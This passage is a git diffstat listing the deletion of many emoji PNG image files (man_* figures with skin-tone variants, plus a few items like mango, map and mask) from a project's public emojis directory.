-rw-r--r--public/-/emojis/2/man_climbing_tone4.pngbin1022 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_climbing_tone5.pngbin971 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_construction_worker.pngbin811 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_construction_worker_tone1.pngbin855 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_construction_worker_tone2.pngbin815 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_construction_worker_tone3.pngbin831 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_construction_worker_tone4.pngbin802 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_construction_worker_tone5.pngbin791 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_cook.pngbin1083 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_cook_tone1.pngbin1073 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_cook_tone2.pngbin1034 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_cook_tone3.pngbin1059 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_cook_tone4.pngbin1003 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_cook_tone5.pngbin1029 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_curly_haired.pngbin864 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_curly_haired_tone1.pngbin873 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_curly_haired_tone2.pngbin891 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_curly_haired_tone3.pngbin824 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_curly_haired_tone4.pngbin744 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_curly_haired_tone5.pngbin803 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_dancing.pngbin809 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_dancing_tone1.pngbin789 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_dancing_tone2.pngbin816 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_dancing_tone3.pngbin819 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_dancing_tone4.pngbin737 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_dancing_tone5.pngbin732 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_detective.pngbin1100 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_detective_tone1.pngbin1057 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_detective_tone2.pngbin1082 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_detective_tone3.pngbin1081 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_detective_tone4.pngbin1019 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_detective_tone5.pngbin1063 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_elf.pngbin866 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_elf_tone1.pngbin890 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_elf_tone2.pngbin882 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_elf_tone3.pngbin788 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_elf_tone4.pngbin886 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_elf_tone5.pngbin916 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_facepalming.pngbin756 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_facepalming_tone1.pngbin821 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_facepalming_tone2.pngbin764 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_facepalming_tone3.pngbin721 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_facepalming_tone4.pngbin674 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_facepalming_tone5.pngbin641 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_factory_worker.pngbin1035 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_factory_worker_tone1.pngbin1003 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_factory_worker_tone2.pngbin1053 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_factory_worker_tone3.pngbin965 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_factory_worker_tone4.pngbin955 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_factory_worker_tone5.pngbin897 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_fairy.pngbin1053 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_fairy_tone1.pngbin1105 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_fairy_tone2.pngbin1029 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_fairy_tone3.pngbin1098 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_fairy_tone4.pngbin1085 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_fairy_tone5.pngbin1089 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_farmer.pngbin913 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_farmer_tone1.pngbin957 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_farmer_tone2.pngbin886 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_farmer_tone3.pngbin915 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_farmer_tone4.pngbin825 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_farmer_tone5.pngbin901 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_firefighter.pngbin995 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_firefighter_tone1.pngbin1019 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_firefighter_tone2.pngbin975 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_firefighter_tone3.pngbin1036 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_firefighter_tone4.pngbin931 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_firefighter_tone5.pngbin1032 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_frowning.pngbin695 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_frowning_tone1.pngbin698 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_frowning_tone2.pngbin653 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_frowning_tone3.pngbin656 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_frowning_tone4.pngbin609 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_frowning_tone5.pngbin679 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_genie.pngbin937 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_gesturing_no.pngbin766 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_gesturing_no_tone1.pngbin773 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_gesturing_no_tone2.pngbin702 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_gesturing_no_tone3.pngbin732 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_gesturing_no_tone4.pngbin699 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_gesturing_no_tone5.pngbin702 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_gesturing_ok.pngbin966 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_gesturing_ok_tone1.pngbin1015 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_gesturing_ok_tone2.pngbin921 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_gesturing_ok_tone3.pngbin959 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_gesturing_ok_tone4.pngbin967 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_gesturing_ok_tone5.pngbin945 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_getting_face_massage.pngbin766 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_getting_face_massage_tone1.pngbin756 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_getting_face_massage_tone2.pngbin736 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_getting_face_massage_tone3.pngbin743 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_getting_face_massage_tone4.pngbin703 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_getting_face_massage_tone5.pngbin685 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_getting_haircut.pngbin885 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_getting_haircut_tone1.pngbin902 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_getting_haircut_tone2.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_getting_haircut_tone3.pngbin828 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_getting_haircut_tone4.pngbin822 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_getting_haircut_tone5.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_golfing.pngbin803 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_golfing_tone1.pngbin802 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_golfing_tone2.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_golfing_tone3.pngbin819 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_golfing_tone4.pngbin766 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_golfing_tone5.pngbin742 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_guard.pngbin604 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_guard_tone1.pngbin631 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_guard_tone2.pngbin624 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_guard_tone3.pngbin589 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_guard_tone4.pngbin578 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_guard_tone5.pngbin575 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_health_worker.pngbin1030 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_health_worker_tone1.pngbin1031 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_health_worker_tone2.pngbin1009 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_health_worker_tone3.pngbin951 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_health_worker_tone4.pngbin989 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_health_worker_tone5.pngbin886 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_lotus_position.pngbin839 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_lotus_position_tone1.pngbin885 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_lotus_position_tone2.pngbin805 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_lotus_position_tone3.pngbin781 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_lotus_position_tone4.pngbin761 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_lotus_position_tone5.pngbin768 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_steamy_room.pngbin834 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_steamy_room_tone1.pngbin821 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_steamy_room_tone2.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_steamy_room_tone3.pngbin781 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_steamy_room_tone4.pngbin817 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_steamy_room_tone5.pngbin773 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_tuxedo.pngbin850 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_tuxedo_tone1.pngbin903 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_tuxedo_tone2.pngbin886 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_tuxedo_tone3.pngbin888 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_tuxedo_tone4.pngbin856 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_in_tuxedo_tone5.pngbin914 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_judge.pngbin1019 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_judge_tone1.pngbin984 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_judge_tone2.pngbin1036 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_judge_tone3.pngbin937 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_judge_tone4.pngbin890 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_judge_tone5.pngbin906 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_juggling.pngbin1168 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_juggling_tone1.pngbin1133 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_juggling_tone2.pngbin1105 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_juggling_tone3.pngbin1129 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_juggling_tone4.pngbin1032 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_juggling_tone5.pngbin1043 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_lifting_weights.pngbin846 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_lifting_weights_tone1.pngbin804 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_lifting_weights_tone2.pngbin764 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_lifting_weights_tone3.pngbin756 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_lifting_weights_tone4.pngbin749 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_lifting_weights_tone5.pngbin766 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mage.pngbin1061 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mage_tone1.pngbin1040 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mage_tone2.pngbin1037 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mage_tone3.pngbin1038 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mage_tone4.pngbin1028 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mage_tone5.pngbin1030 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mechanic.pngbin1016 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mechanic_tone1.pngbin1005 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mechanic_tone2.pngbin892 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mechanic_tone3.pngbin955 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mechanic_tone4.pngbin975 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mechanic_tone5.pngbin948 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mountain_biking.pngbin1357 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mountain_biking_tone1.pngbin1349 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mountain_biking_tone2.pngbin1344 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mountain_biking_tone3.pngbin1279 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mountain_biking_tone4.pngbin1244 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_mountain_biking_tone5.pngbin1304 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_office_worker.pngbin910 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_office_worker_tone1.pngbin888 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_office_worker_tone2.pngbin937 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_office_worker_tone3.pngbin800 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_office_worker_tone4.pngbin796 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_office_worker_tone5.pngbin817 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_pilot.pngbin1045 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_pilot_tone1.pngbin996 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_pilot_tone2.pngbin963 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_pilot_tone3.pngbin928 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_pilot_tone4.pngbin946 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_pilot_tone5.pngbin877 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_playing_handball.pngbin990 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_playing_handball_tone1.pngbin1014 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_playing_handball_tone2.pngbin971 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_playing_handball_tone3.pngbin962 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_playing_handball_tone4.pngbin896 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_playing_handball_tone5.pngbin906 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_playing_water_polo.pngbin796 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_playing_water_polo_tone1.pngbin753 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_playing_water_polo_tone2.pngbin758 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_playing_water_polo_tone3.pngbin735 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_playing_water_polo_tone4.pngbin741 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_playing_water_polo_tone5.pngbin717 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_police_officer.pngbin943 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_police_officer_tone1.pngbin917 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_police_officer_tone2.pngbin920 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_police_officer_tone3.pngbin880 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_police_officer_tone4.pngbin917 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_police_officer_tone5.pngbin881 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_pouting.pngbin661 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_pouting_tone1.pngbin714 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_pouting_tone2.pngbin679 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_pouting_tone3.pngbin627 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_pouting_tone4.pngbin664 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_pouting_tone5.pngbin586 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_raising_hand.pngbin860 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_raising_hand_tone1.pngbin890 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_raising_hand_tone2.pngbin810 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_raising_hand_tone3.pngbin838 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_raising_hand_tone4.pngbin800 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_raising_hand_tone5.pngbin870 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_red_haired.pngbin776 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_red_haired_tone1.pngbin758 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_red_haired_tone2.pngbin742 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_red_haired_tone3.pngbin764 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_red_haired_tone4.pngbin780 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_red_haired_tone5.pngbin825 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_rowing_boat.pngbin822 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_rowing_boat_tone1.pngbin872 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_rowing_boat_tone2.pngbin806 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_rowing_boat_tone3.pngbin727 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_rowing_boat_tone4.pngbin808 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_rowing_boat_tone5.pngbin790 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_running.pngbin785 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_running_tone1.pngbin763 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_running_tone2.pngbin696 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_running_tone3.pngbin729 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_running_tone4.pngbin689 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_running_tone5.pngbin699 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_scientist.pngbin1102 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_scientist_tone1.pngbin1051 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_scientist_tone2.pngbin1026 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_scientist_tone3.pngbin1058 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_scientist_tone4.pngbin1006 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_scientist_tone5.pngbin980 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_shrugging.pngbin731 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_shrugging_tone1.pngbin738 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_shrugging_tone2.pngbin668 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_shrugging_tone3.pngbin676 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_shrugging_tone4.pngbin710 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_shrugging_tone5.pngbin672 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_singer.pngbin1062 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_singer_tone1.pngbin1001 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_singer_tone2.pngbin1014 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_singer_tone3.pngbin929 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_singer_tone4.pngbin953 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_singer_tone5.pngbin903 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_student.pngbin956 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_student_tone1.pngbin991 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_student_tone2.pngbin959 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_student_tone3.pngbin921 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_student_tone4.pngbin937 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_student_tone5.pngbin868 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_superhero.pngbin1132 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_superhero_tone1.pngbin1115 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_superhero_tone2.pngbin1128 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_superhero_tone3.pngbin1100 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_superhero_tone4.pngbin1066 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_superhero_tone5.pngbin1066 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_supervillain.pngbin961 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_supervillain_tone1.pngbin982 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_supervillain_tone2.pngbin915 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_supervillain_tone3.pngbin915 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_supervillain_tone4.pngbin920 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_supervillain_tone5.pngbin866 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_surfing.pngbin965 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_surfing_tone1.pngbin980 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_surfing_tone2.pngbin920 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_surfing_tone3.pngbin905 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_surfing_tone4.pngbin928 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_surfing_tone5.pngbin995 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_swimming.pngbin611 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_swimming_tone1.pngbin641 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_swimming_tone2.pngbin595 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_swimming_tone3.pngbin574 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_swimming_tone4.pngbin570 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_swimming_tone5.pngbin564 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_teacher.pngbin895 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_teacher_tone1.pngbin897 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_teacher_tone2.pngbin887 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_teacher_tone3.pngbin911 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_teacher_tone4.pngbin822 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_teacher_tone5.pngbin771 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_technologist.pngbin686 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_technologist_tone1.pngbin662 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_technologist_tone2.pngbin694 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_technologist_tone3.pngbin683 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_technologist_tone4.pngbin679 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_technologist_tone5.pngbin622 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_tipping_hand.pngbin773 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_tipping_hand_tone1.pngbin754 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_tipping_hand_tone2.pngbin751 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_tipping_hand_tone3.pngbin731 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_tipping_hand_tone4.pngbin726 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_tipping_hand_tone5.pngbin694 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_tone1.pngbin824 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_tone2.pngbin816 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_tone3.pngbin753 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_tone4.pngbin780 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_tone5.pngbin735 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_vampire.pngbin1087 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_vampire_tone1.pngbin1065 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_vampire_tone2.pngbin988 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_vampire_tone3.pngbin1021 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_vampire_tone4.pngbin1001 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_vampire_tone5.pngbin962 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_walking.pngbin659 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_walking_tone1.pngbin664 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_walking_tone2.pngbin664 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_walking_tone3.pngbin656 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_walking_tone4.pngbin646 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_walking_tone5.pngbin633 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_wearing_turban.pngbin885 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_wearing_turban_tone1.pngbin891 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_wearing_turban_tone2.pngbin901 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_wearing_turban_tone3.pngbin907 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_wearing_turban_tone4.pngbin890 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_wearing_turban_tone5.pngbin911 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_white_haired.pngbin849 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_white_haired_tone1.pngbin805 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_white_haired_tone2.pngbin773 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_white_haired_tone3.pngbin819 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_white_haired_tone4.pngbin814 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_white_haired_tone5.pngbin858 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_with_gua_pi_mao.pngbin858 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_with_gua_pi_mao_tone1.pngbin810 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_with_gua_pi_mao_tone2.pngbin864 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_with_gua_pi_mao_tone3.pngbin788 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_with_gua_pi_mao_tone4.pngbin713 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_with_gua_pi_mao_tone5.pngbin798 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_with_turban.pngbin885 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_with_turban_tone1.pngbin891 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_with_turban_tone2.pngbin901 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_with_turban_tone3.pngbin907 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_with_turban_tone4.pngbin890 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_with_turban_tone5.pngbin911 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_zombie.pngbin901 -> 0 bytes
-rw-r--r--public/-/emojis/2/mango.pngbin1000 -> 0 bytes
-rw-r--r--public/-/emojis/2/mans_shoe.pngbin585 -> 0 bytes
-rw-r--r--public/-/emojis/2/map.pngbin1064 -> 0 bytes
-rw-r--r--public/-/emojis/2/maple_leaf.pngbin853 -> 0 bytes
-rw-r--r--public/-/emojis/2/martial_arts_uniform.pngbin873 -> 0 bytes
-rw-r--r--public/-/emojis/2/mask.pngbin769 -> 0 bytes
